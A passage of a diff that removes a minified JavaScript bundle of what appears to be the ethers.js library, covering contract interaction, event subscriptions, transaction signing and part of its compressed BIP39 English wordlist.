}; - function Th(t2, e2) { - return { orphan: "reorder-transaction", tx: t2, other: e2 }; - } - function Rh(t2) { - return { orphan: "drop-transaction", tx: t2 }; - } - var Uh = class extends xh { - interface; - fragment; - args; - constructor(t2, e2, r4) { - super(t2, t2.provider); - yn(this, { args: e2.decodeEventLog(r4, t2.data, t2.topics), fragment: r4, interface: e2 }); - } - get eventName() { - return this.fragment.name; - } - get eventSignature() { - return this.fragment.format(); - } - }; - var Gh = class extends xh { - error; - constructor(t2, e2) { - super(t2, t2.provider), yn(this, { error: e2 }); - } - }; - var Hh = class extends Fh { - #et; - constructor(t2, e2, r4) { - super(r4, e2), this.#et = t2; - } - get logs() { - return super.logs.map((t2) => { - const e2 = t2.topics.length ? this.#et.getEvent(t2.topics[0]) : null; - if (e2) - try { - return new Uh(t2, this.#et, e2); - } catch (e3) { - return new Gh(t2, e3); - } - return t2; - }); - } - }; - var Lh = class extends Ph { - #et; - constructor(t2, e2, r4) { - super(r4, e2), this.#et = t2; - } - async wait(t2, e2) { - const r4 = await super.wait(t2, e2); - return null == r4 ? null : new Hh(this.#et, this.provider, r4); - } - }; - var Oh = class extends iA { - log; - constructor(t2, e2, r4, n2) { - super(t2, e2, r4), yn(this, { log: n2 }); - } - async getBlock() { - return await this.log.getBlock(); - } - async getTransaction() { - return await this.log.getTransaction(); - } - async getTransactionReceipt() { - return await this.log.getTransactionReceipt(); - } - }; - var Yh = class extends Oh { - constructor(t2, e2, r4, n2, A2) { - super(t2, e2, r4, new Uh(A2, t2.interface, n2)); - yn(this, { args: t2.interface.decodeEventLog(n2, this.log.data, this.log.topics), fragment: n2 }); - } - get eventName() { - return this.fragment.name; - } - get eventSignature() { - return this.fragment.format(); - } - }; - var Kh = BigInt(0); - function Jh(t2) { - return t2 && "function" == typeof t2.call; - } - function jh(t2) { - return t2 && "function" == typeof t2.estimateGas; - } - function zh(t2) { - return t2 && "function" == typeof t2.resolveName; - } - function qh(t2) { - return t2 && "function" == typeof t2.sendTransaction; - } - function Xh(t2) { - if (null != t2) { - if (zh(t2)) - return t2; - if (t2.provider) - return t2.provider; - } - } - var Vh = class { - #rt; - fragment; - constructor(t2, e2, r4) { - if (yn(this, { fragment: e2 }), e2.inputs.length < r4.length) - throw new Error("too many arguments"); - const n2 = Wh(t2.runner, "resolveName"), A2 = zh(n2) ? n2 : null; - this.#rt = async function() { - const n3 = await Promise.all(e2.inputs.map((t3, e3) => null == r4[e3] ? null : t3.walkAsync(r4[e3], (t4, e4) => "address" === t4 ? Array.isArray(e4) ? Promise.all(e4.map((t5) => Ca(t5, A2))) : Ca(e4, A2) : e4))); - return t2.interface.encodeFilterTopics(e2, n3); - }(); - } - getTopicFilter() { - return this.#rt; - } - }; - function Wh(t2, e2) { - return null == t2 ? null : "function" == typeof t2[e2] ? t2 : t2.provider && "function" == typeof t2.provider[e2] ? t2.provider : null; - } - function Zh(t2) { - return null == t2 ? null : t2.provider || null; - } - async function $h(t2, e2) { - const r4 = va.dereference(t2, "overrides"); - vn("object" == typeof r4, "invalid overrides parameter", "overrides", t2); - const n2 = Mh(r4); - return vn(null == n2.to || (e2 || []).indexOf("to") >= 0, "cannot override to", "overrides.to", n2.to), vn(null == n2.data || (e2 || []).indexOf("data") >= 0, "cannot override data", "overrides.data", n2.data), n2.from && (n2.from = n2.from), n2; - } - function tg(t2) { - const e2 = async function(e3) { - const r5 = await $h(e3, ["data"]); - r5.to = await t2.getAddress(), r5.from && (r5.from = await Ca(r5.from, Xh(t2.runner))); - const n3 = t2.interface, A2 = zn(r5.value || Kh, "overrides.value") === Kh, i2 = "0x" === (r5.data || "0x"); - !n3.fallback || n3.fallback.payable || !n3.receive || i2 || A2 || vn(false, "cannot send data to receive or send value to non-payable fallback", "overrides", e3), vn(n3.fallback || i2, "cannot send data to receive-only contract", "overrides.data", r5.data); - return vn(n3.receive || n3.fallback && n3.fallback.payable || A2, "cannot send value to non-payable fallback", "overrides.value", r5.value), vn(n3.fallback || i2, "cannot send data to receive-only contract", "overrides.data", r5.data), r5; - }, r4 = async function(r5) { - const n3 = t2.runner; - wn(qh(n3), "contract runner does not support sending transactions", "UNSUPPORTED_OPERATION", { operation: "sendTransaction" }); - const A2 = await n3.sendTransaction(await e2(r5)), i2 = Zh(t2.runner); - return new Lh(t2.interface, i2, A2); - }, n2 = async (t3) => await r4(t3); - return yn(n2, { _contract: t2, estimateGas: async function(r5) { - const n3 = Wh(t2.runner, "estimateGas"); - return wn(jh(n3), "contract runner does not support gas estimation", "UNSUPPORTED_OPERATION", { operation: "estimateGas" }), await n3.estimateGas(await e2(r5)); - }, populateTransaction: e2, send: r4, staticCall: async function(r5) { - const n3 = Wh(t2.runner, "call"); - wn(Jh(n3), "contract runner does not support calling", "UNSUPPORTED_OPERATION", { operation: "call" }); - const A2 = await e2(r5); - try { - return await n3.call(A2); - } catch (e3) { - if (Bn(e3) && e3.data) - throw t2.interface.makeError(e3.data, A2); - throw e3; - } - } }), n2; - } - function eg(t2, e2) { - const r4 = function(...r5) { - const n3 = t2.interface.getFunction(e2, r5); - return wn(n3, "no matching fragment", "UNSUPPORTED_OPERATION", { operation: "fragment", info: { key: e2, args: r5 } }), n3; - }, n2 = async function(...e3) { - const n3 = r4(...e3); - let A3 = {}; - if (n3.inputs.length + 1 === e3.length && (A3 = await $h(e3.pop()), A3.from && (A3.from = await Ca(A3.from, Xh(t2.runner)))), n3.inputs.length !== e3.length) - throw new Error("internal error: fragment inputs doesn't match arguments; should not happen"); - const i3 = await async function(t3, e4, r5) { - const n4 = Wh(t3, "resolveName"), A4 = zh(n4) ? n4 : null; - return await Promise.all(e4.map((t4, e5) => t4.walkAsync(r5[e5], (t5, e6) => (e6 = va.dereference(e6, t5), "address" === t5 ? Ca(e6, A4) : e6)))); - }(t2.runner, n3.inputs, e3); - return Object.assign({}, A3, await In({ to: t2.getAddress(), data: t2.interface.encodeFunctionData(n3, i3) })); - }, A2 = async function(...t3) { - const e3 = await o2(...t3); - return 1 === e3.length ? e3[0] : e3; - }, i2 = async function(...e3) { - const r5 = t2.runner; - wn(qh(r5), "contract runner does not support sending transactions", "UNSUPPORTED_OPERATION", { operation: "sendTransaction" }); - const A3 = await r5.sendTransaction(await n2(...e3)), i3 = Zh(t2.runner); - return new Lh(t2.interface, i3, A3); - }, o2 = async function(...e3) { - const A3 = Wh(t2.runner, "call"); - wn(Jh(A3), "contract runner does not support calling", "UNSUPPORTED_OPERATION", { operation: "call" }); - const i3 = await n2(...e3); - let o3 = "0x"; - try { - o3 = await A3.call(i3); - } catch (e4) { - if (Bn(e4) && e4.data) - throw t2.interface.makeError(e4.data, i3); - throw e4; - } - const s3 = r4(...e3); - return t2.interface.decodeFunctionResult(s3, o3); - }, s2 = async (...t3) => r4(...t3).constant ? await A2(...t3) : await i2(...t3); - return yn(s2, { name: t2.interface.getFunctionName(e2), _contract: t2, _key: e2, getFragment: r4, estimateGas: async function(...e3) { - const r5 = Wh(t2.runner, "estimateGas"); - return wn(jh(r5), "contract runner does not support gas estimation", "UNSUPPORTED_OPERATION", { operation: "estimateGas" }), await r5.estimateGas(await n2(...e3)); - }, populateTransaction: n2, send: i2, staticCall: A2, staticCallResult: o2 }), Object.defineProperty(s2, "fragment", { configurable: false, enumerable: true, get: () => { - const r5 = t2.interface.getFunction(e2); - return wn(r5, "no matching fragment", "UNSUPPORTED_OPERATION", { operation: "fragment", info: { key: e2 } }), r5; - } }), s2; - } - var rg = Symbol.for("_ethersInternal_contract"); - var ng = /* @__PURE__ */ new WeakMap(); - function Ag(t2) { - return ng.get(t2[rg]); - } - async function ig(t2, e2) { - let r4, n2 = null; - if (Array.isArray(e2)) { - const n3 = function(e3) { - if (Mn(e3, 32)) - return e3; - const r5 = t2.interface.getEvent(e3); - return vn(r5, "unknown fragment", "name", e3), r5.topicHash; - }; - r4 = e2.map((t3) => null == t3 ? null : Array.isArray(t3) ? t3.map(n3) : n3(t3)); - } else - "*" === e2 ? r4 = [null] : "string" == typeof e2 ? Mn(e2, 32) ? r4 = [e2] : (n2 = t2.interface.getEvent(e2), vn(n2, "unknown fragment", "event", e2), r4 = [n2.topicHash]) : (A2 = e2) && "object" == typeof A2 && "getTopicFilter" in A2 && "function" == typeof A2.getTopicFilter && A2.fragment ? r4 = await e2.getTopicFilter() : "fragment" in e2 ? (n2 = e2.fragment, r4 = [n2.topicHash]) : vn(false, "unknown event name", "event", e2); - var A2; - r4 = r4.map((t3) => { - if (null == t3) - return null; - if (Array.isArray(t3)) { - const e3 = Array.from(new Set(t3.map((t4) => t4.toLowerCase())).values()); - return 1 === e3.length ? e3[0] : (e3.sort(), e3); - } - return t3.toLowerCase(); - }); - return { fragment: n2, tag: r4.map((t3) => null == t3 ? "null" : Array.isArray(t3) ? t3.join("|") : t3).join("&"), topics: r4 }; - } - async function og(t2, e2) { - const { subs: r4 } = Ag(t2); - return r4.get((await ig(t2, e2)).tag) || null; - } - async function sg(t2, e2, r4) { - const n2 = Zh(t2.runner); - wn(n2, "contract runner does not support subscribing", "UNSUPPORTED_OPERATION", { operation: e2 }); - const { fragment: A2, tag: i2, topics: o2 } = await ig(t2, r4), { addr: s2, subs: a2 } = Ag(t2); - let c2 = a2.get(i2); - if (!c2) { - const e3 = { address: s2 || t2, topics: o2 }, h2 = (e4) => { - let n3 = A2; - if (null == n3) - try { - n3 = t2.interface.getEvent(e4.topics[0]); - } catch (t3) { - } - if (n3) { - const i3 = n3, o3 = A2 ? t2.interface.decodeEventLog(A2, e4.data, e4.topics) : []; - cg(t2, r4, o3, (n4) => new Yh(t2, n4, r4, i3, e4)); - } else - cg(t2, r4, [], (n4) => new Oh(t2, n4, r4, e4)); - }; - let g2 = []; - c2 = { tag: i2, listeners: [], start: () => { - g2.length || g2.push(n2.on(e3, h2)); - }, stop: async () => { - if (0 == g2.length) - return; - let t3 = g2; - g2 = [], await Promise.all(t3), n2.off(e3, h2); - } }, a2.set(i2, c2); - } - return c2; - } - var ag = Promise.resolve(); - async function cg(t2, e2, r4, n2) { - try { - await ag; - } catch (t3) { - } - const A2 = async function(t3, e3, r5, n3) { - await ag; - const A3 = await og(t3, e3); - if (!A3) - return false; - const i2 = A3.listeners.length; - return A3.listeners = A3.listeners.filter(({ listener: e4, once: A4 }) => { - const i3 = Array.from(r5); - n3 && i3.push(n3(A4 ? null : e4)); - try { - e4.call(t3, ...i3); - } catch (t4) { - } - return !A4; - }), 0 === A3.listeners.length && (A3.stop(), Ag(t3).subs.delete(A3.tag)), i2 > 0; - }(t2, e2, r4, n2); - return ag = A2, await A2; - } - var hg = ["then"]; - var gg = class _gg { - target; - interface; - runner; - filters; - [rg]; - fallback; - constructor(t2, e2, r4, n2) { - vn("string" == typeof t2 || Ia(t2), "invalid value for Contract target", "target", t2), null == r4 && (r4 = null); - const A2 = Dh.from(e2); - let i2; - yn(this, { target: t2, runner: r4, interface: A2 }), Object.defineProperty(this, rg, { value: {} }); - let o2 = null, s2 = null; - if (n2) { - const t3 = Zh(r4); - s2 = new Lh(this.interface, t3, n2); - } - let a2 = /* @__PURE__ */ new Map(); - if ("string" == typeof t2) - if (Mn(t2)) - o2 = t2, i2 = Promise.resolve(t2); - else { - const e3 = Wh(r4, "resolveName"); - if (!zh(e3)) - throw En("contract runner does not support name resolution", "UNSUPPORTED_OPERATION", { operation: "resolveName" }); - i2 = e3.resolveName(t2).then((e4) => { - if (null == e4) - throw En("an ENS name used for a contract target must be correctly configured", "UNCONFIGURED_NAME", { value: t2 }); - return Ag(this).addr = e4, e4; - }); - } - else - i2 = t2.getAddress().then((t3) => { - if (null == t3) - throw new Error("TODO"); - return Ag(this).addr = t3, t3; - }); - var c2, h2; - c2 = this, h2 = { addrPromise: i2, addr: o2, deployTx: s2, subs: a2 }, ng.set(c2[rg], h2); - const g2 = new Proxy({}, { get: (t3, e3, r5) => { - if ("symbol" == typeof e3 || hg.indexOf(e3) >= 0) - return Reflect.get(t3, e3, r5); - try { - return this.getEvent(e3); - } catch (t4) { - if (!mn(t4, "INVALID_ARGUMENT") || "key" !== t4.argument) - throw t4; - } - }, has: (t3, e3) => hg.indexOf(e3) >= 0 ? Reflect.has(t3, e3) : Reflect.has(t3, e3) || this.interface.hasEvent(String(e3)) }); - return yn(this, { filters: g2 }), yn(this, { fallback: A2.receive || A2.fallback ? tg(this) : null }), new Proxy(this, { get: (t3, e3, r5) => { - if ("symbol" == typeof e3 || e3 in t3 || hg.indexOf(e3) >= 0) - return Reflect.get(t3, e3, r5); - try { - return t3.getFunction(e3); - } catch (t4) { - if (!mn(t4, "INVALID_ARGUMENT") || "key" !== t4.argument) - throw t4; - } - }, has: (t3, e3) => "symbol" == typeof e3 || e3 in t3 || hg.indexOf(e3) >= 0 ? Reflect.has(t3, e3) : t3.interface.hasFunction(e3) }); - } - connect(t2) { - return new _gg(this.target, this.interface, t2); - } - attach(t2) { - return new _gg(t2, this.interface, this.runner); - } - async getAddress() { - return await Ag(this).addrPromise; - } - async getDeployedCode() { - const t2 = Zh(this.runner); - wn(t2, "runner does not support .provider", "UNSUPPORTED_OPERATION", { operation: "getDeployedCode" }); - const e2 = await t2.getCode(await this.getAddress()); - return "0x" === e2 ? null : e2; - } - async waitForDeployment() { - const t2 = this.deploymentTransaction(); - if (t2) - return await t2.wait(), this; - if (null != await this.getDeployedCode()) - return this; - const e2 = Zh(this.runner); - return wn(null != e2, "contract runner does not support .provider", "UNSUPPORTED_OPERATION", { operation: "waitForDeployment" }), new Promise((t3, r4) => { - const n2 = async () => { - try { - if (null != await this.getDeployedCode()) - return t3(this); - e2.once("block", n2); - } catch (t4) { - r4(t4); - } - }; - n2(); - }); - } - deploymentTransaction() { - return Ag(this).deployTx; - } - getFunction(t2) { - "string" != typeof t2 && (t2 = t2.format()); - return eg(this, t2); - } - getEvent(t2) { - return "string" != typeof t2 && (t2 = t2.format()), function(t3, e2) { - const r4 = function(...r5) { - const n3 = t3.interface.getEvent(e2, r5); - return wn(n3, "no matching fragment", "UNSUPPORTED_OPERATION", { operation: "fragment", info: { key: e2, args: r5 } }), n3; - }, n2 = function(...e3) { - return new Vh(t3, r4(...e3), e3); - }; - return yn(n2, { name: t3.interface.getEventName(e2), _contract: t3, _key: e2, getFragment: r4 }), Object.defineProperty(n2, "fragment", { configurable: false, enumerable: true, get: () => { - const r5 = t3.interface.getEvent(e2); - return wn(r5, "no matching fragment", "UNSUPPORTED_OPERATION", { operation: "fragment", info: { key: e2 } }), r5; - } }), n2; - }(this, t2); - } - async queryTransaction(t2) { - throw new Error("@TODO"); - } - async queryFilter(t2, e2, r4) { - null == e2 && (e2 = 0), null == r4 && (r4 = "latest"); - const { addr: n2, addrPromise: A2 } = Ag(this), i2 = n2 || await A2, { fragment: o2, topics: s2 } = await ig(this, t2), a2 = { address: i2, topics: s2, fromBlock: e2, toBlock: r4 }, c2 = Zh(this.runner); - return wn(c2, "contract runner does not have a provider", "UNSUPPORTED_OPERATION", { operation: "queryFilter" }), (await c2.getLogs(a2)).map((t3) => { - let e3 = o2; - if (null == e3) - try { - e3 = this.interface.getEvent(t3.topics[0]); - } catch (t4) { - } - if (e3) - try { - return new Uh(t3, this.interface, e3); - } catch (e4) { - return new Gh(t3, e4); - } - return new xh(t3, c2); - }); - } - async on(t2, e2) { - const r4 = await sg(this, "on", t2); - return r4.listeners.push({ listener: e2, once: false }), r4.start(), this; - } - async once(t2, e2) { - const r4 = await sg(this, "once", t2); - return r4.listeners.push({ listener: e2, once: true }), r4.start(), this; - } - async emit(t2, ...e2) { - return await cg(this, t2, e2, null); - } - async listenerCount(t2) { - if (t2) { - const e3 = await og(this, t2); - return e3 ? e3.listeners.length : 0; - } - const { subs: e2 } = Ag(this); - let r4 = 0; - for (const { listeners: t3 } of e2.values()) - r4 += t3.length; - return r4; - } - async listeners(t2) { - if (t2) { - const e3 = await og(this, t2); - return e3 ? e3.listeners.map(({ listener: t3 }) => t3) : []; - } - const { subs: e2 } = Ag(this); - let r4 = []; - for (const { listeners: t3 } of e2.values()) - r4 = r4.concat(t3.map(({ listener: t4 }) => t4)); - return r4; - } - async off(t2, e2) { - const r4 = await og(this, t2); - if (!r4) - return this; - if (e2) { - const t3 = r4.listeners.map(({ listener: t4 }) => t4).indexOf(e2); - t3 >= 0 && r4.listeners.splice(t3, 1); - } - return null != e2 && 0 !== r4.listeners.length || (r4.stop(), Ag(this).subs.delete(r4.tag)), this; - } - async removeAllListeners(t2) { - if (t2) { - const e2 = await og(this, t2); - if (!e2) - return this; - e2.stop(), Ag(this).subs.delete(e2.tag); - } else { - const { subs: t3 } = Ag(this); - for (const { tag: e2, stop: r4 } of t3.values()) - r4(), t3.delete(e2); - } - return this; - } - async addListener(t2, e2) { - return await this.on(t2, e2); - } - async removeListener(t2, e2) { - return await this.off(t2, e2); - } - static buildClass(t2) { - return class extends _gg { - constructor(e2, r4 = null) { - super(e2, t2, r4); - } - }; - } - static from(t2, e2, r4) { - null == r4 && (r4 = null); - return new this(t2, e2, r4); - } - }; - var ug = class extends (/* @__PURE__ */ function() { - return gg; - }()) { - }; - function lg(t2, e2) { - if (t2.provider) - return t2.provider; - wn(false, "missing provider", "UNSUPPORTED_OPERATION", { operation: e2 }); - } - async function fg(t2, e2) { - let r4 = Mh(e2); - if (null != r4.to && (r4.to = Ca(r4.to, t2)), null != r4.from) { - const e3 = r4.from; - r4.from = Promise.all([t2.getAddress(), Ca(e3, t2)]).then(([t3, e4]) => (vn(t3.toLowerCase() === e4.toLowerCase(), "transaction from mismatch", "tx.from", e4), t3)); - } else - r4.from = t2.getAddress(); - return await In(r4); - } - var pg = class { - provider; - constructor(t2) { - yn(this, { provider: t2 || null }); - } - async getNonce(t2) { - return lg(this, "getTransactionCount").getTransactionCount(await this.getAddress(), t2); - } - async populateCall(t2) { - return await fg(this, t2); - } - async populateTransaction(t2) { - const e2 = lg(this, "populateTransaction"), r4 = await fg(this, t2); - null == r4.nonce && (r4.nonce = await this.getNonce("pending")), null == r4.gasLimit && (r4.gasLimit = await this.estimateGas(r4)); - const n2 = await this.provider.getNetwork(); - if (null != r4.chainId) { - vn(zn(r4.chainId) === n2.chainId, "transaction chainId mismatch", "tx.chainId", t2.chainId); - } else - r4.chainId = n2.chainId; - const A2 = null != r4.maxFeePerGas || null != r4.maxPriorityFeePerGas; - if (null == r4.gasPrice || 2 !== r4.type && !A2 ? 0 !== r4.type && 1 !== r4.type || !A2 || vn(false, "pre-eip-1559 transaction do not support maxFeePerGas/maxPriorityFeePerGas", "tx", t2) : vn(false, "eip-1559 transaction do not support gasPrice", "tx", t2), 2 !== r4.type && null != r4.type || null == r4.maxFeePerGas || null == r4.maxPriorityFeePerGas) - if (0 === r4.type || 1 === r4.type) { - const t3 = await e2.getFeeData(); - wn(null != t3.gasPrice, "network does not support gasPrice", "UNSUPPORTED_OPERATION", { operation: "getGasPrice" }), null == r4.gasPrice && (r4.gasPrice = t3.gasPrice); - } else { - const t3 = await e2.getFeeData(); - if (null == r4.type) - if (null != t3.maxFeePerGas && null != t3.maxPriorityFeePerGas) - if (r4.type = 2, null != r4.gasPrice) { - const t4 = r4.gasPrice; - delete r4.gasPrice, r4.maxFeePerGas = t4, r4.maxPriorityFeePerGas = t4; - } else - null == r4.maxFeePerGas && (r4.maxFeePerGas = t3.maxFeePerGas), null == r4.maxPriorityFeePerGas && (r4.maxPriorityFeePerGas = t3.maxPriorityFeePerGas); - else - null != t3.gasPrice ? (wn(!A2, "network does not support EIP-1559", "UNSUPPORTED_OPERATION", { operation: "populateTransaction" }), null == r4.gasPrice && (r4.gasPrice = t3.gasPrice), r4.type = 0) : wn(false, "failed to get consistent fee data", "UNSUPPORTED_OPERATION", { operation: "signer.getFeeData" }); - else - 2 === r4.type && (null == r4.maxFeePerGas && (r4.maxFeePerGas = t3.maxFeePerGas), null == r4.maxPriorityFeePerGas && (r4.maxPriorityFeePerGas = t3.maxPriorityFeePerGas)); - } - else - r4.type = 2; - return await In(r4); - } - async estimateGas(t2) { - return lg(this, "estimateGas").estimateGas(await this.populateCall(t2)); - } - async call(t2) { - return lg(this, "call").call(await this.populateCall(t2)); - } - async resolveName(t2) { - const e2 = lg(this, "resolveName"); - return await e2.resolveName(t2); - } - async sendTransaction(t2) { - const e2 = lg(this, "sendTransaction"), r4 = await this.populateTransaction(t2); - delete r4.from; - const n2 = hc.from(r4); - return await e2.broadcastTransaction(await this.signTransaction(n2)); - } - }; - var dg = class _dg extends pg { - address; - constructor(t2, e2) { - super(e2), yn(this, { address: t2 }); - } - async getAddress() { - return this.address; - } - connect(t2) { - return new _dg(this.address, t2); - } - #nt(t2, e2) { - wn(false, `VoidSigner cannot sign ${t2}`, "UNSUPPORTED_OPERATION", { operation: e2 }); - } - async signTransaction(t2) { - this.#nt("transactions", "signTransaction"); - } - async signMessage(t2) { - this.#nt("messages", "signMessage"); - } - async signTypedData(t2, e2, r4) { - this.#nt("typed-data", "signTypedData"); - } - }; - var Ig = class _Ig extends pg { - address; - #At; - constructor(t2, e2) { - super(e2), vn(t2 && "function" == typeof t2.sign, "invalid private key", "privateKey", "[ REDACTED ]"), this.#At = t2; - yn(this, { address: Ja(this.signingKey.publicKey) }); - } - get signingKey() { - return this.#At; - } - get privateKey() { - return this.signingKey.privateKey; - } - async getAddress() { - return this.address; - } - connect(t2) { - return new _Ig(this.#At, t2); - } - async signTransaction(t2) { - const { to: e2, from: r4 } = await In({ to: t2.to ? Ca(t2.to, this.provider) : void 0, from: t2.from ? Ca(t2.from, this.provider) : void 0 }); - null != e2 && (t2.to = e2), null != r4 && (t2.from = r4), null != t2.from && (vn(da(t2.from) === this.address, "transaction from address mismatch", "tx.from", t2.from), delete t2.from); - const n2 = hc.from(t2); - return n2.signature = this.signingKey.sign(n2.unsignedHash), n2.serialized; - } - async signMessage(t2) { - return this.signMessageSync(t2); - } - signMessageSync(t2) { - return this.signingKey.sign(function(t3) { - return "string" == typeof t3 && (t3 = aA(t3)), no(Tn([aA("Ethereum Signed Message:\n"), aA(String(t3.length)), t3])); - }(t2)).serialized; - } - async signTypedData(t2, e2, r4) { - const n2 = await _c.resolveNames(t2, e2, r4, async (t3) => { - wn(null != this.provider, "cannot resolve ENS names without a provider", "UNSUPPORTED_OPERATION", { operation: "resolveName", info: { name: t3 } }); - const e3 = await this.provider.resolveName(t3); - return wn(null != e3, "unconfigured ENS name", "UNCONFIGURED_NAME", { value: t3 }), e3; - }); - return this.signingKey.sign(_c.hash(n2.domain, e2, n2.value)).serialized; - } - }; - var yg = " !#$%&'()*+,-./<=>?@[]^_`{|}~"; - var Cg = /^[a-z]*$/i; - function mg(t2, e2) { - let r4 = 97; - return t2.reduce((t3, n2) => (n2 === e2 ? r4++ : n2.match(Cg) ? t3.push(String.fromCharCode(r4) + n2) : (r4 = 97, t3.push(n2)), t3), []); - } - function Bg(t2) { - return vn("0" === t2[0], "unsupported auwl data", "data", t2), function(t3, e2) { - for (let r5 = yg.length - 1; r5 >= 0; r5--) - t3 = t3.split(yg[r5]).join(e2.substring(2 * r5, 2 * r5 + 2)); - const r4 = [], n2 = t3.replace(/(:|([0-9])|([A-Z][a-z]*))/g, (t4, e3, n3, A2) => { - if (n3) - for (let t5 = parseInt(n3); t5 >= 0; t5--) - r4.push(";"); - else - r4.push(e3.toLowerCase()); - return ""; - }); - if (n2) - throw new Error(`leftovers: ${JSON.stringify(n2)}`); - return mg(mg(r4, ";"), ":"); - }(t2.substring(1 + 2 * yg.length), t2.substring(1, 1 + 2 * yg.length)); - } - var Eg = class { - locale; - constructor(t2) { - yn(this, { locale: t2 }); - } - split(t2) { - return t2.toLowerCase().split(/\s+/g); - } - join(t2) { - return t2.join(" "); - } - }; - var wg = class extends Eg { - #g; - #it; - constructor(t2, e2, r4) { - super(t2), this.#g = e2, this.#it = r4, this.#ot = null; - } - get _data() { - return this.#g; - } - _decodeWords() { - return Bg(this.#g); - } - #ot; - #st() { - if (null == this.#ot) { - const t2 = this._decodeWords(); - if (Oa(t2.join("\n") + "\n") !== this.#it) - throw new Error(`BIP39 Wordlist for ${this.locale} FAILED`); - this.#ot = t2; - } - return this.#ot; - } - getWord(t2) { - const e2 = this.#st(); - return vn(t2 >= 0 && t2 < e2.length, `invalid word index: ${t2}`, "index", t2), e2[t2]; - } - getWordIndex(t2) { - return this.#st().indexOf(t2); - } - }; - var vg = null; - var _g = class __g extends wg { - constructor() { - super("en", "0erleonalorenseinceregesticitStanvetearctssi#ch2Athck&tneLl0And#Il.yLeOutO=S|S%b/ra@SurdU'0Ce[Cid|CountCu'Hie=IdOu,-Qui*Ro[TT]T%T*[Tu$0AptDD-tD*[Ju,M.UltV<)Vi)0Rob-0FairF%dRaid0A(EEntRee0Ead0MRRp%tS!_rmBumCoholErtI&LLeyLowMo,O}PhaReadySoT Ways0A>urAz(gOngOuntU'd0Aly,Ch%Ci|G G!GryIm$K!Noun)Nu$O` Sw T&naTiqueXietyY1ArtOlogyPe?P!Pro=Ril1ChCt-EaEnaGueMMedM%MyOundR<+Re,Ri=RowTTefa@Ti,Tw%k0KPe@SaultSetSi,SumeThma0H!>OmTa{T&dT.udeTra@0Ct]D.Gu,NtTh%ToTumn0Era+OcadoOid0AkeA*AyEsomeFulKw?d0Is:ByChel%C#D+GL<)Lc#y~MbooN_{Ad!AftAmA}AshAt AwlAzyEamEd.EekEwI{etImeIspIt-OpO[Ou^OwdUci$UelUi'Umb!Un^UshYY,$2BeLtu*PPbo?dRiousRr|Rta(R=Sh]/omTe3C!:DMa+MpN)Ng R(gShUght WnY3AlBa>BrisCadeCemb CideCl(eC%a>C*a'ErF&'F(eFyG*eLayLiv M3AgramAlAm#dAryCeE'lEtFf G.$Gn.yLemmaNn NosaurRe@RtSag*eScov Sea'ShSmi[S%d Splay/<)V tVideV%)Zzy5Ct%Cum|G~Lph(Ma(Na>NkeyN%OrSeUb!Ve_ftAg#AmaA,-AwEamE[IftIllInkIpI=OpUmY2CkMbNeR(g/T^Ty1Arf1Nam-:G G!RlyRnR`Sily/Sy1HoOlogyOnomy0GeItUca>1F%t0G1GhtTh 2BowD E@r-EgSe0B?kBodyBra)Er+Ot]PloyPow Pty0Ab!A@DD![D%'EmyErgyF%)Ga+G(eH<)JoyLi,OughR-hRollSu*T Ti*TryVelope1Isode0U$Uip0AA'OdeOs]R%Upt0CapeSayS&)Ta>0Ern$H-s1Id&)IlOkeOl=1A@Amp!Ce[Ch<+C.eCludeCu'Ecu>Erci'Hau,Hib.I!I,ItOt-PM&'Mu}Pa@Po'Pro=Pul'0ChCludeComeC*a'DexD-a>Do%Du,ryFN Noc|PutQuirySSue0Em1Ory:CketGu?RZz3AlousAns~yWel9BInKeUr}yY5D+I)MpNg!Ni%Nk/:Ng?oo3EnEpT^upY3CkDD}yNdNgdomSsTT^&TeTt&Wi4EeIfeO{Ow:BBelB%Dd DyKeMpNgua+PtopR+T T(UghUndryVaWWnWsu.Y Zy3Ad AfArnA=Ctu*FtGG$G&dIsu*M#NdNg`NsOp?dSs#Tt Vel3ArB tyBr?yC&'FeFtGhtKeMbM.NkOnQuid/Tt!VeZ?d5AdAnB, C$CkG-NelyNgOpTt yUdUn+VeY$5CkyGga+Mb N?N^Xury3R-s:Ch(eDG-G}tIdIlInJ%KeMm$NNa+Nda>NgoNs]Nu$P!Rb!R^Rg(R(eRketRria+SkSs/ T^T i$ThTrixTt XimumZe3AdowAnAsu*AtCh<-D$DiaLodyLtMb M%yNt]NuRcyR+R.RryShSsa+T$Thod3Dd!DnightLk~]M-NdNimumN%Nu>Rac!Rr%S ySs/akeXXedXtu*5Bi!DelDifyMM|N.%NkeyN, N`OnR$ReRn(gSqu.oTh T]T%Unta(U'VeVie5ChFf(LeLtiplySc!SeumShroomS-/Tu$3Self/ yTh:I=MePk(Rrow/yT]Tu*3ArCkEdGati=G!@I` PhewR=/TTw%kUtr$V WsXt3CeGht5B!I'M(eeOd!Rm$R`SeTab!TeTh(gTi)VelW5C!?Mb R'T:K0EyJe@Li+Scu*S =Ta(Vious0CurEAyEa'Ed+U{UgUn+2EmEtIntL?LeLi)NdNyOlPul?Rt]S.]Ssib!/TatoTt yV tyWd W _@i)Ai'Ed-tEf Epa*Es|EttyEv|I)IdeIm?yIntI%.yIs#Iva>IzeOb!mO)[Odu)Of.OgramOje@Omo>OofOp tyOsp O>@OudOvide2Bl-Dd(g~LpL'Mpk(N^PilPpyR^a'R.yRpo'R'ShTZz!3Ramid:99Al.yAntumArt E,]I{ItIzO>:Bb.Cco#CeCkD?DioIlInI'~yMpN^NdomN+PidReTeTh V&WZ%3AdyAlAs#BelBuildC$lCei=CipeC%dCyc!Du)F!@F%mFu'G]G*tGul?Je@LaxLea'LiefLyMa(Memb M(dMo=Nd NewNtOp&PairPeatPla)P%tQui*ScueSemb!Si,Sour)Sp#'SultTi*T*atTurnUn]Ve$ViewW?d2Y`m0BBb#CeChDeD+F!GhtGidNgOtPp!SkTu$V$V 5AdA,BotBu,CketM<)OfOkieOmSeTa>UghUndU>Y$5Bb DeGLeNNwayR$:DDd!D}[FeIlLadLm#L#LtLu>MeMp!NdTisfyToshiU)Usa+VeY1A!AnA*Att E}HemeHoolI&)I[%sOrp]OutRapRe&RiptRub1AAr^As#AtC#dC*tCt]Cur.yEdEkGm|Le@~M(?Ni%N'Nt&)RiesRvi)Ss]Tt!TupV&_dowAftAllowA*EdEllEriffIeldIftI}IpIv O{OeOotOpOrtOuld O=RimpRugUff!Y0Bl(gCkDeE+GhtGnL|Lk~yLv Mil?Mp!N)NgR&/ Tua>XZe1A>Et^IIllInIrtUll0AbAmEepEnd 